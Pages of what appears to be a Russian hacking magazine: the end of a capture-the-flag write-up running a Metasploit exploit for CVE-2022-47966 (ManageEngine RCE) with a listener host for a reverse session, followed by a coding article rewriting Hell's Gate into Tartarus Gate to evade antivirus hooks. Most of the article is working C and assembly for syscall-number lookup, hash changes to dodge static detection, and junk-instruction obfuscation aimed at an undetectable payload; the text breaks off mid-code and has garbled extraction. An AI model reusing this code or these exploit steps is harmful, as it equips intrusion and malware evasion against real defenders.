По луче ние Issuer URL

В самом ManageEngine есть нашумев шая уяз вимость ,
которая при водит к уда лен ному выпол нению кода. Авто мати зиро ван ный экс- 
пло ит уже появил ся в Metasploit Framework. У нас есть необ ходимые для экс- 
плу ата ции парамет ры — GUID токена и .

CVE-2022-47966

Issuer URL

proxychains -q msfconsole 
use manageengine_adselfservice_plus_saml_rce_cve_2022_47966 
set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f 
set ISSUER_URL http://dc.cerberus.local/adfs/services/trust 
set RHOST 127.0.0.1 
set RPORT 9251 
set LHOST 10.10.14.56 
exploit 

Экс плу ата ция уяз вимос ти

Мы получи ли сес сию и теперь прос то забира ем флаг рута.

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://www.openwall.com/lists/oss-security/2022/06/08/10/1
https://github.com/jpillora/chisel
https://github.com/Hackplayers/evil-winrm
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-47966
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КОДИНГ

Хо чешь узнать, как обой ти анти вирус ные
прог раммы с помощью сис темных
вызовов? Мы рас кро ем сек реты этой зах- 
ватыва ющей тех ники, перепи шем извес- 
тный инс тру мент, поп рограм миру ем
на ассем бле ре и поищем пат терны
в памяти, что бы получить FUD-пей лоад!

×ÒÎ ÒÀÊÎÅ SYSCALL

Мно гие анти вирус ные про дук ты (да и некото рые прог раммы) любят ста вить
хуки. Я уже показы вал 

. Теперь изу чим еще один спо соб обхо да ловушек — через
сис колы.

ва риант обхо да хуков в User Mode через переза пись
биб лиоте ки ntdll.dll

Сис колы (они же сис темные вызовы) — очень боль шая и инте рес ная тема.
Я пос тарал ся вкрат це опи сать, что это и зачем они нуж ны. Если ты захочешь
более глу боко пог рузить ся в тему, ниже най дешь нес коль ко полез ных ссы лок.

•Direct Syscalls: A journey from high to low
•Direct Syscalls vs Indirect Syscalls

Итак, сис кол мож но счи тать переход ной ста дией меж ду поль зователь ским
режимом (User Mode) и режимом ядра (Kernel Mode). Это как бы переход
из одно го мира сис темы в дру гой. Если еще про ще, то сис кол — прос то
обра щение к ядру.

Вы зовы ядра край не важ ны для кор рек тно го фун кци они рова ния сис темы.
Нап ример, имен но заложен ные в ядре фун кции поз воля ют соз давать фай лы.
Каж дый сис кол однознач но иден тифици рует ся по сво ему номеру. Этот номер
называ ется по-раз ному, где-то Syscall Id, где-то Syscall Number, где-то SSN —
System Service Number. Номер сис кола под ска зыва ет ядру, что ему нуж но
делать. Он заносит ся в регистр , пос ле чего выпол няет ся инс трук ция

, которая осу щест вля ет переход в режим ядра.

eax
syscall

Как выг лядит вызов сис колов у раз ных фун кций

Проб лема в том, что средс тва защиты могут ста вить хуки непос редс твен но
перед вызовом инс трук ции . Нап ример, как на сле дующем скрин- 

шоте.

syscall

Инс трук ция jmp перед syscall

Это может сви детель ство вать о наличии хука. Нич то не меша ет нам нап рямую
вызывать инс трук цию  из адресно го прос транс тва сво его про цес са,

такая тех ника называ ется Direct Syscall. Мы даже можем обра щать ся к инс- 
трук ции , най дя ее адрес в смап ленной в наш про цесс биб лиоте ке

 (такая тех ника называ ется Indirect Syscall). Проб лема лишь одна —

нужен SSN. Без номера сис кола, сох ранен ного в регис тре , ничего

не получит ся.

syscall

syscall
ntdll.dll

eax

ÒÅÕÍÈÊÀ ÏÎÈÑÊÀ SSN

SSN раз лича ется от сис темы к сис теме. Он зависит от вер сии Windows. Есть
отличная , но каж дый раз хар дко дить SSN вооб- 
ще не вари ант. Поэто му дав но при дума ны спо собы динами чес ки дос тавать
номера сис колов, а затем уже с эти ми номера ми выпол нять Direct-
или Indirect-вызовы.

таб лица акту аль ных сис колов

Да вай раз берем один из самых извес тных методов — , а затем
перепи шем его под .

Hell’s Gate
Tartarus Gate

Тех ника обна руже ния SSN дос таточ но прос та. Сна чала, что бы получить
заг ружен ный в про цесс адрес , прог рамма дос тает адре са TEB

(Thread Environment Block), затем PEB (Process Environment Block). А пос ле
извле кает из таб лицы  базовый адрес заг рузки .

ntdll.dll

PEB_LDR_DATA ntdll.dll

  PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
    return (PTEB)__readgsqword(0x30);
#else
    return (PTEB)__readfsdword(0x16);
#endif
}

  INT wmain() {
      PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
      PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
         
 
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion

!= 0xA)
        return 0x1;

      
  

PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((
PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink -
0x10);
   ...
}

Прог рамма, зная базовый адрес заг рузки биб лиоте ки, получа ет адрес EAT
(Export Address Table). В этой таб лице содер жатся адре са всех экспор тиру- 
емых из биб лиоте ки фун кций.

   
  

BOOL GetImageExportDirectory(PVOID pModuleBase,
PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
   // Get DOS header
      PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)
pModuleBase;
       if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {

        return FALSE;
   }

   // Get NT headers
      

  
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)

pModuleBase + pImageDosHeader->e_lfanew);
       if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {

        return FALSE;
   }

   // Get the EAT
     

  
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)

pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].
VirtualAddress);
    return TRUE;
}

Пос ле успешно го получе ния всех адре сов идет ини циали зация спе циаль ной
струк туры — струк туры .VX_TABLE

   typedef struct _VX_TABLE_ENTRY {
      PVOID pAddress;
    DWORD64 dwHash;
       WORD wSystemCall;
   } VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;

   typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtAllocateVirtualMemory;
    VX_TABLE_ENTRY NtProtectVirtualMemory;
    VX_TABLE_ENTRY NtCreateThreadEx;
    VX_TABLE_ENTRY NtWaitForSingleObject;
   } VX_TABLE, * PVX_TABLE;

Таб лица  сос тоит из дру гих струк тур . Внут ри них

будут запол нены эле мен ты ,  и , которые отве- 
чают соот ветс твен но за адрес нуж ной фун кции, хеш от име ни фун кции (он
пот ребу ется для API Hashing) и номера сис темно го вызова.

VX_TABLE VX_TABLE_ENTRY
pAddress dwHash wSystemCall

Для обна руже ния сис кола исполь зует ся фун кция ,

но перед этим пред варитель но ини циали зиру ется эле мент  опи сан ной
выше струк туры. Хеш рас счи тыва ется заранее. Для это го исполь зует ся алго- 
ритм djb2, вынесен ный в отдель ную фун кцию.

GetVxTableEntry()
dwHash

     VX_TABLE Table = { 0 };
  Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;

   if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &
Table.NtAllocateVirtualMemory))
    return 0x1;

 пар сит EAT и обна ружи вает адрес нуж ной фун кции

с помощью API Hashing.

GetVxTableEntry()

    if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
     pVxTableEntry->pAddress = pFunctionAddress;

   ...

Пос ле обна руже ния нуж ной фун кции ее адрес записы вает ся в таб лицу,
а затем ищет ся номер сис кола для этой фун кции. Hell’s Gate ищет пат терн,
харак терный для вызова сис кола.

mov r10,rcx 
mov rcx,<syscall number> 

Так выг лядит шаб лон вызова сис кола

Для это го Hell’s Gate ска ниру ет память на наличие соот ветс тву ющих опко дов.

     if (*((PBYTE)pFunctionAddress + cw) == 0x4c
          && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
          && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
          && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
          && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
           && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
          BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
          BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
         pVxTableEntry->wSystemCall = (high << 8) | low;
   break;
}

Оп коды

Ес ли пат терн най ден, начина ется выч ленение номера сис кола. Для наг- 
ляднос ти возь мем сис кол с «длин ным» номером, нап ример . В дизас сем- 

бле ре уви дим инте рес ную кар тину.

10F

Как выг лядит номер сис кола в памяти

Инс трук ция, сох раня ющая номер сис кола в регистр , выг лядит вро де бы

нор маль но, но если мы пос мотрим вни матель нее, то уви дим, что номер сис- 
кола пред став лен как бы в перевер нутом виде.

eax

B8 0F010000 
mov eax,10F  # 0xb8 0x0F 0x01 0x00 0x00

Hell’s Gate зна ет о таком поведе нии сис темы, поэто му выч леня ет сис колы
с исполь зовани ем спе циаль ного алго рит ма.

       BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
       BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);

      pVxTableEntry->wSystemCall = (high << 8) | low;
break;

Ес ли мы пос тавим бряк на пред послед нюю строч ку кода, то уви дим, что
в  попада ет «вер хняя» часть, а в  — «ниж няя».high low

Но мер сис кола

Что выч леня ет Hell’s Gate

Со ответс твен но, если алго ритм выч леня ет SSN , то перемен ные ини- 

циали зиру ются как  и .

10F
0x1 0xF

Ини циали зация и high, и low

В  заносит ся зна чение  со сдви гом вле во на 8 байт.

Это при водит к получе нию из  зна чения . Сле дующим

шагом выпол няет ся побито вая опе рация ИЛИ со зна чени ем  (
в дво ичной сис теме счис ления), в резуль тате мы получа ем .

А это, в свою оче редь, рав но .  как раз и есть номер сис кола.

wSystemmCall high
0000 0001 1 0000 0000

0000 1111 0xF
1 0000 1111

10F 10F

Под счет номера сис кола

До пол нитель но прог рамма про веря ет, не ушли ли мы в поис ке номера сис- 
кола слиш ком далеко. Для это го так же исполь зуют ся опко ды.

Dead Codes

ÈÇÌÅÍÅÍÈÅ ÀËÃÎÐÈÒÌÀ ÕÅØÈÐÎÂÀÍÈß

Нач нем с того, что сме ним алго ритм djb2 на какой-нибудь дру гой, нап ример
на crc32h. Это нуж но, что бы из нашего пей лоада про пали некото рые ста- 
тик-детек ты, осно ван ные на хешах исполь зуемых нами имен WinAPI-фун кций.
Для это го соз дадим фун кцию, реали зующую логику по хеширо ванию.

#define SEED 0xEDB88320

...

    unsigned int crc32h(char* message) {
     int i, crc;
      unsigned int byte, c;
             const unsigned int g0 = SEED, g1 = g0 >> 1,

                          g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
                      g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;

     i = 0;
     crc = 0xFFFFFFFF;
         while ((byte = message[i]) != 0) {

           crc = crc ^ byte;
                        c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^

                          ((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
                          ((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
                         ((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);

             crc = ((unsigned)crc >> 8) ^ c;
           i = i + 1;

   }
    return ~crc;
}

Ко неч но, мож но было прос то поменять -зна чение и рас счи тыва емый хеш

в фун кции , но мы все-таки решили пол ноцен но перепи сать инс тру- 
мент, а не баловать ся, меняя перемен ные.

SEED
djb2()

Hash- и SEED-зна чения

Для удобс тва вызова и авто мати чес кого при веде ния к нуж ному типу соз- 
дадим мак рос.

#define HASH(API) crc32h((char*)API)

Так как мы пока нез накомы с Compile-Time API Hashing, напишем прог рамму
для перес чета хешей от нуж ных нам фун кций.

#include <Windows.h>
#include <stdio.h>
#define SEED 0xEDB88320
#define STR "_CRC32"

    unsigned int crc32h(char* message) {
     int i, crc;
      unsigned int byte, c;
             const unsigned int g0 = SEED, g1 = g0 >> 1,

                          g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
                      g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;

     i = 0;
     crc = 0xFFFFFFFF;
         while ((byte = message[i]) != 0) {

           crc = crc ^ byte;
                        c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^

                          ((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
                          ((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
                         ((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);

             crc = ((unsigned)crc >> 8) ^ c;
           i = i + 1;

   }
    return ~crc;
}

#define HASH(API) crc32h((char*)API)
  int main() {

     
 
printf("#define %s%s \t 0x%0.8X \n", "NtAllocateVirtualMemory",

STR, HASH("NtAllocateVirtualMemory"));
     

 
printf("#define %s%s \t 0x%0.8X \n", "NtProtectVirtualMemory",

STR, HASH("NtProtectVirtualMemory"));
      printf("#define %s%s \t 0x%0.8X \n", "NtCreateThreadEx", STR,
HASH("NtCreateThreadEx"));
     
 

printf("#define %s%s \t 0x%0.8X \n", "NtWaitForSingleObject", STR
, HASH("NtWaitForSingleObject"));
    return 0;
}

Но вые хеши

ÈÇÌÅÍÅÍÈÅ GETVXTABLEENTRY

Как ты пом нишь, фун кция  исполь зует ся для получе ния
номера сис кола. Проб лема в том, что вызыва ется она далеко не один раз,
но при каж дом вызове идет пов торный рас чет всех нуж ных адре сов, что ска- 
зыва ется на эффектив ности работы прог раммы. Пред лагаю завес ти отдель- 
ную струк туру , внут ри которой будут содер жать ся все эти дан- 

ные. Их дос таточ но ини циали зиро вать лишь еди нож ды, а затем мож но прос то
обра щать ся к ним.

GetVxTableEntry()

NTDLL_CONFIG

  typedef struct _NTDLL_CONFIG
{
   PDWORD      pdwArrayOfAddresses;
   PDWORD      pdwArrayOfNames;
   PWORD       pwArrayOfOrdinals;
   DWORD       dwNumberOfNames;
      ULONG_PTR uModule;

 }NTDLL_CONFIG, *PNTDLL_CONFIG;

// Глобальная переменная, которая будет все это хранить
     NTDLL_CONFIG g_NtdllConf = { 0 };

Для ини циали зации дос таточ но один раз выз вать фун кцию
.InitNtdllConfigStructure()

  BOOL InitNtdllConfigStructure() {

   // Получение PEB
      PPEB pPeb = (PPEB)__readgsqword(0x60);
        if (!pPeb || pPeb->OSMajorVersion != 0xA)

        return FALSE;

   // Получение ntdll.dll (первый элемент. Нулевой — наша программа)
      

  
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb

->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

   // Получение базового адреса загрузки ntdll.dll
      ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase);
    if (!uModule)

        return FALSE;

   // Получение DOS-хедера
      PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule;
      if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)

        return FALSE;

   // Получение NT-заголовков
        PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule +
pImgDosHdr->e_lfanew);
      if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)

        return FALSE;

   // Получение таблицы экспортов
      

  
PIMAGE_EXPORT_DIRECTORY pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(

uModule + pImgNtHdrs->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    if (!pImgExpDir)

        return FALSE;

   // Инициализация всех элементов у глобальной переменной
    g_NtdllConf.uModule             = uModule;
         g_NtdllConf.dwNumberOfNames = pImgExpDir->NumberOfNames;
           g_NtdllConf.pdwArrayOfNames = (PDWORD)(uModule + pImgExpDir->
AddressOfNames);
       g_NtdllConf.pdwArrayOfAddresses = (PDWORD)(uModule + pImgExpDir->
AddressOfFunctions);
          g_NtdllConf.pwArrayOfOrdinals = (PWORD)(uModule + pImgExpDir->
AddressOfNameOrdinals);

   // Проверка
        

    
if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames || !

g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses || !
g_NtdllConf.pwArrayOfOrdinals)

        return FALSE;
   else

        return TRUE;
}

Са му фун кцию  сле дует пере име новать

в . Мы оста вим все го два парамет ра:  (хеш-зна- 

чение от име ни фун кции, которую нуж но засис колить) и  — ука затель
на струк туру , которая будет содер жать всю необ ходимую

информа цию для осу щест вле ния сис кола.

GetVxTableEntry()
FetchNtSyscall() dwSysHash

pNtSys
NT_SYSCALL

  typedef struct _NT_SYSCALL
{
    DWORD dwSSn;
    DWORD dwSyscallHash;
    PVOID pSyscallAddress;

 }NT_SYSCALL, *PNT_SYSCALL;

Продолжение статьи →

https://t.me/Michaelzhm
https://xakep.ru/2023/08/04/ntdll-unhooking/
https://redops.at/en/blog/direct-syscalls-a-journey-from-high-to-low
https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls
https://j00ru.vexillium.org/syscalls/nt/64/
https://github.com/am0nsec/HellsGate
https://github.com/trickster0/TartarusGate
https://learn.microsoft.com/ru-ru/windows/win32/api/winternl/ns-winternl-peb_ldr_data


ПЕРЕПИСЫВАЕМ HELL’S GATE 
И ОБХОДИМ АНТИВИРУС

КОДИНГ  НАЧАЛО СТАТЬИ←

Фун кцию  сле дует вызывать из фун кции

. Пред лагаю прос то про верять, ини циали зиро ван ли эле-

мент, содер жащий базовый адрес заг рузки . Если нет, то вызыва- 
ем фун кцию, если этот эле мент уже име ет какое-то зна чение, то вызов
не тре бует ся. Алго ритм для поис ка сис кола пока что не меня ем.

InitNtdllConfigStructure()
FetchNtSyscall()

ntdll.dll

       BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {

     if (!g_NtdllConf.uModule) {
        if (!InitNtdllConfigStructure())

            return FALSE;
   }

      if (dwSysHash != NULL)
         pNtSys->dwSyscallHash = dwSysHash;

   else
        return FALSE;

            for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) {

              PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule +
g_NtdllConf.pdwArrayOfNames[i]);

            PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule +
g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);

           if (HASH(pcFuncName) == dwSysHash) {

             pNtSys->pSyscallAddress = pFuncAddress;

              WORD cw = 0;

             while (TRUE) {

                  ...тут алгоритм поиска сискола...
               }

               cw++;
           }

           break;
       }
   }

   // Если что-то не инициализировалось, то все плохо
            

  
if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL &&

pNtSys->dwSyscallHash != NULL)
        return TRUE;

   else
        return FALSE;

}

ÈÇÌÅÍÅÍÈÅ ËÎÃÈÊÈ ÏÎÈÑÊÀ ÑÈÑÊÎËÀ

Hell’s Gate — один из прос тей ших спо собов нахож дения сис кола. Проб лема
в том, что он прос то про бега ет по памяти в одном нап равле нии, пыта ясь
обна ружить сис кол. К сожале нию, в сов ремен ных реалиях этот вари ант, мяг ко
говоря, не самый рабочий. Что меша ет анти вирус ному про дук ту внес ти
некото рые изме нения? Нап ример, добавить лиш нюю инс трук цию, что бы сло- 
мать поиск Hell’s Gate.

Не изме нен ную пос ледова тель ность без проб лем получит ся обна ружить,
но если мы прос то добавим лиш ние инс трук ции? Напом ню, как выг лядит пат- 
терн, который ищет сис кол.

0x4c 0x8b 0xd1 0xb8 ... 0x00 0x00 

Не изме нен ный код

В х64dbg наг ло тыка ем «Ассем бли ровать» и меня ем одну инс трук цию на дру- 
гую.

Из менен ный код

0x4c 0x8b 0xd1 [ВОТ ТУТ ПОИСК ЛОМАЕТСЯ] 0xb9 ... 0x00 0x00 

Те перь номер сис кола дос тать не получит ся. Тем не менее не сто ит отча- 
ивать ся, так как проб лема эта извес тная и умные люди при дума ли пути
решения — Halo’s Gate и Tartarus Gate. Оба этих алго рит ма поис ка номера
сис кола осно выва ются на том, что эти самые номера инкре мен тиру ются.
Если у одной фун кции номер сис кола 1, то у сле дующей за ней номер 2.

Уве личи вающиеся SSN

Та ким обра зом, зная номер сис кола одной фун кции, мож но без проб лем дос- 
тать номера сис колов сле дующих за ней фун кций. Допол нитель но в алго рит- 
ме исполь зует ся такая осо бен ность: раз ница меж ду сох раня ющи ми номера
сис колов инс трук циями сос тавля ет 32 бита (  –  = ).

Это зна чение хра нит ся в перемен ных  и  соот ветс твен но.

0x...F283 0x...F263 0x20
GoUp GoDown

Сме щения адре сов

С помощью это го алго рит ма Halo’s Gate про веря ет так же наличие хука —
если встре чает ся инс трук ция , то хук явно при сутс тву ет, поэто му начина- 

ется про цеду ра получе ния номера нехук нутого сис кола.

jmp

  int GoUp -32;
  int GoDown 32;

// Если первая инструкция — jmp
    if (*((PBYTE)pFunctionAddress) == 0xe9) {

// Идем вверх и вниз в поиске номера сискола
         for (WORD index = 1; index <= 500; index++) {

 // Идем вниз, ищем паттерн
        if (*((PBYTE)pFunctionAddress + index * GoDown) == 0x4c
           && *((PBYTE)pFunctionAddress + 1 + index * GoDown) == 0x8b
           && *((PBYTE)pFunctionAddress + 2 + index * GoDown) == 0xd1
           && *((PBYTE)pFunctionAddress + 3 + index * GoDown) == 0xb8
           && *((PBYTE)pFunctionAddress + 6 + index * GoDown) == 0x00
            && *((PBYTE)pFunctionAddress + 7 + index * GoDown) == 0x00) {
           BYTE high = *((PBYTE)pFunctionAddress + 5 + index * GoDown);
           BYTE low = *((PBYTE)pFunctionAddress + 4 + index * GoDown);
  // Паттерн найден, заносим номер сискола
          pVxTableEntry->wSystemCall = (high << 8) | low - index;
   return TRUE;
 }
 // Идем вверх, ищем паттерн
        if (*((PBYTE)pFunctionAddress + index * GoUp) == 0x4c
           && *((PBYTE)pFunctionAddress + 1 + index * GoUp) == 0x8b
           && *((PBYTE)pFunctionAddress + 2 + index * GoUp) == 0xd1
           && *((PBYTE)pFunctionAddress + 3 + index * GoUp) == 0xb8
           && *((PBYTE)pFunctionAddress + 6 + index * GoUp) == 0x00
            && *((PBYTE)pFunctionAddress + 7 + index * GoUp) == 0x00) {
           BYTE high = *((PBYTE)pFunctionAddress + 5 + index * GoUp);
           BYTE low = *((PBYTE)pFunctionAddress + 4 + index * GoUp);
  // Паттерн найден, заносим номер сискола
          pVxTableEntry->wSystemCall = (high << 8) | low + index;
   return TRUE;
 }
}

Не ска зать, что идея неп равиль ная. Думаю, впол не логич но таким обра зом
про верять хуки. Тем не менее теория име ет изъ яны: что, если инс трук ция 

сто ит, ска жем, пос ле сох ранения номера сис кола? Либо прос то где-то
до инс трук ции ? Нап ример, сле дующий код прой дет про вер ку ска- 
ниро вания памяти (нуж ные опко ды будут обна руже ны), но номер сис кола выч- 
ленить не получит ся.

jmp

syscall

При мер умно го хука

По это му был при думан Tartarus Gate. Этот алго ритм допол нитель но про веря- 
ет и пос леду ющий (чет вертый) байт на наличие инс трук ции . Если этот

байт равен , то выпол няет ся стан дар тная про цеду ра по алго рит му Halo’s

Gate с нахож дени ем номера нехук нутого сис кола и пос леду ющим вос ста нов- 
лени ем всей цепоч ки.

jmp
e9

Я пред лагаю исполь зовать Tartarus Gate в нашей фун кции
 для выч ленения номера сис кола. В код фун кции добавит- 

ся алго ритм Halo’s Gate и про вер ка сле дующе го бай та на наличие инс трук ции
.

FetchNtSyscall()

jmp

#define UP -32
#define DOWN 32
#define RANGE 500

...

       BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {

  if (!g_NtdllConf.uModule) {
  if (!InitNtdllConfigStructure())
   return FALSE;
}

   if (dwSysHash != NULL)
   pNtSys->dwSyscallHash = dwSysHash;
else
  return FALSE;

        for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++){

      PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.
pdwArrayOfNames[i]);
       PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.
pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);

   pNtSys->pSyscallAddress = pFuncAddress;

     if (HASH(pcFuncName) == dwSysHash) {

     if (*((PBYTE)pFuncAddress) == 0x4C
        && *((PBYTE)pFuncAddress + 1) == 0x8B
        && *((PBYTE)pFuncAddress + 2) == 0xD1
        && *((PBYTE)pFuncAddress + 3) == 0xB8
        && *((PBYTE)pFuncAddress + 6) == 0x00
         && *((PBYTE)pFuncAddress + 7) == 0x00) {

        BYTE high = *((PBYTE)pFuncAddress + 5);
         BYTE low = *((PBYTE)pFuncAddress + 4);
         pNtSys->dwSSn = (high << 8) | low;
   break;
  }

  // Halo’s Gate
      if (*((PBYTE)pFuncAddress) == 0xE9) {

            for (WORD idx = 1; idx <= RANGE; idx++) {
    // Идем вниз
           if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C

              && *((PBYTE)pFuncAddress + 1 + idx * DOWN) == 0x8B
              && *((PBYTE)pFuncAddress + 2 + idx * DOWN) == 0xD1
              && *((PBYTE)pFuncAddress + 3 + idx * DOWN) == 0xB8
              && *((PBYTE)pFuncAddress + 6 + idx * DOWN) == 0x00
               && *((PBYTE)pFuncAddress + 7 + idx * DOWN) == 0x00) {

              BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);
               BYTE low = *((PBYTE)pFuncAddress + 4 + idx * DOWN);

             pNtSys->dwSSn = (high << 8) | low - idx;
     break;
    }
    // Идем вверх
           if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C

              && *((PBYTE)pFuncAddress + 1 + idx * UP) == 0x8B
              && *((PBYTE)pFuncAddress + 2 + idx * UP) == 0xD1
              && *((PBYTE)pFuncAddress + 3 + idx * UP) == 0xB8
              && *((PBYTE)pFuncAddress + 6 + idx * UP) == 0x00
               && *((PBYTE)pFuncAddress + 7 + idx * UP) == 0x00) {

              BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);
               BYTE low = *((PBYTE)pFuncAddress + 4 + idx * UP);

             pNtSys->dwSSn = (high << 8) | low + idx;
     break;
    }
   }
  }

  // Tartarus Gate
        if (*((PBYTE)pFuncAddress + 3) == 0xE9) {

            for (WORD idx = 1; idx <= RANGE; idx++) {
    // Идем вниз
           if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C

              && *((PBYTE)pFuncAddress + 1 + idx * DOWN) == 0x8B
              && *((PBYTE)pFuncAddress + 2 + idx * DOWN) == 0xD1
              && *((PBYTE)pFuncAddress + 3 + idx * DOWN) == 0xB8
              && *((PBYTE)pFuncAddress + 6 + idx * DOWN) == 0x00
               && *((PBYTE)pFuncAddress + 7 + idx * DOWN) == 0x00) {

              BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);
              BYTE low = *((PBYTE)pFuncAddress + 4 + idx * DOWN);

             pNtSys->dwSSn = (high << 8) | low - idx;
     break;
    }
    // Идем вверх
           if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C

              && *((PBYTE)pFuncAddress + 1 + idx * UP) == 0x8B
              && *((PBYTE)pFuncAddress + 2 + idx * UP) == 0xD1
              && *((PBYTE)pFuncAddress + 3 + idx * UP) == 0xB8
              && *((PBYTE)pFuncAddress + 6 + idx * UP) == 0x00
               && *((PBYTE)pFuncAddress + 7 + idx * UP) == 0x00) {

              BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);
              BYTE low = *((PBYTE)pFuncAddress + 4 + idx * UP);

             pNtSys->dwSSn = (high << 8) | low + idx;
     break;
    }
   }
  }
  break;
 }

}

         
  

if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL &&
pNtSys->dwSyscallHash != NULL)
  return TRUE;
else
  return FALSE;
}

ÈÇÌÅÍÅÍÈÅ ASM-ÔÀÉËÀ

В про екте Hell’s Gate при сутс тву ет и файл на ассем бле ре.

.data 
   wSystemCall DWORD 000h 

.code 
   HellsGate PROC 
       mov wSystemCall, 000h
       mov wSystemCall, ecx 
       ret 
   HellsGate ENDP 

   HellDescent PROC 
       mov r10, rcx 
       mov eax, wSystemCall 

       syscall 
       ret 
   HellDescent ENDP 
end 

В фун кции  выпол няет ся сох ранение номера сис кола, а в
 — вызов нуж ной фун кции. В язы ке C к этим фун кци ям мож но

обра тить ся, объ явив внеш ние фун кции (клю чевое сло во — ).

HellsGate
HellsDescent

extern

   extern VOID HellsGate(WORD wSystemCall);
 extern HellDescent();

HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
      

 
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize,
MEM_COMMIT, PAGE_READWRITE);

Об рати вни мание: если бы ты захотел перепи сать код на C++, то пот ребова- 
лось бы изме нить объ явле ние фун кции , так как в C++ каж дая

фун кция дол жна иметь явное ука зание на то, что она воз вра щает.

HellDescent

  extern VOID HellDescent();

Пред лагаю добавить чуть-чуть обфуска ции, то есть раз бавить эти ассем блер- 
ные инс трук ции чем-нибудь еще. Сна чала поп робу ем име на фун кций

 и  заменить  и .HellsGate HellsDescent SetSSn RunSyscall

.data 
   wSystemCall DWORD 0000h 

.code 

   SetSSn PROC 
       mov wSystemCall, 000h
       mov wSystemCall, ecx 
       ret 
   SetSSn ENDP 

   RunSyscall PROC 
       mov r10, rcx 
       mov eax, wSystemCall 
       syscall 
       ret 
   RunSyscall ENDP 

end 

Те перь нуж но внес ти изме нения, которые никак не отра зят ся на логике
выпол нения прог раммы. Добавим пароч ку «мусор ных» инс трук ций.

.data 
   wSystemCall DWORD 0000h 

.code 

   SetSSn PROC 
 eax  0            xor eax, eax            ; =

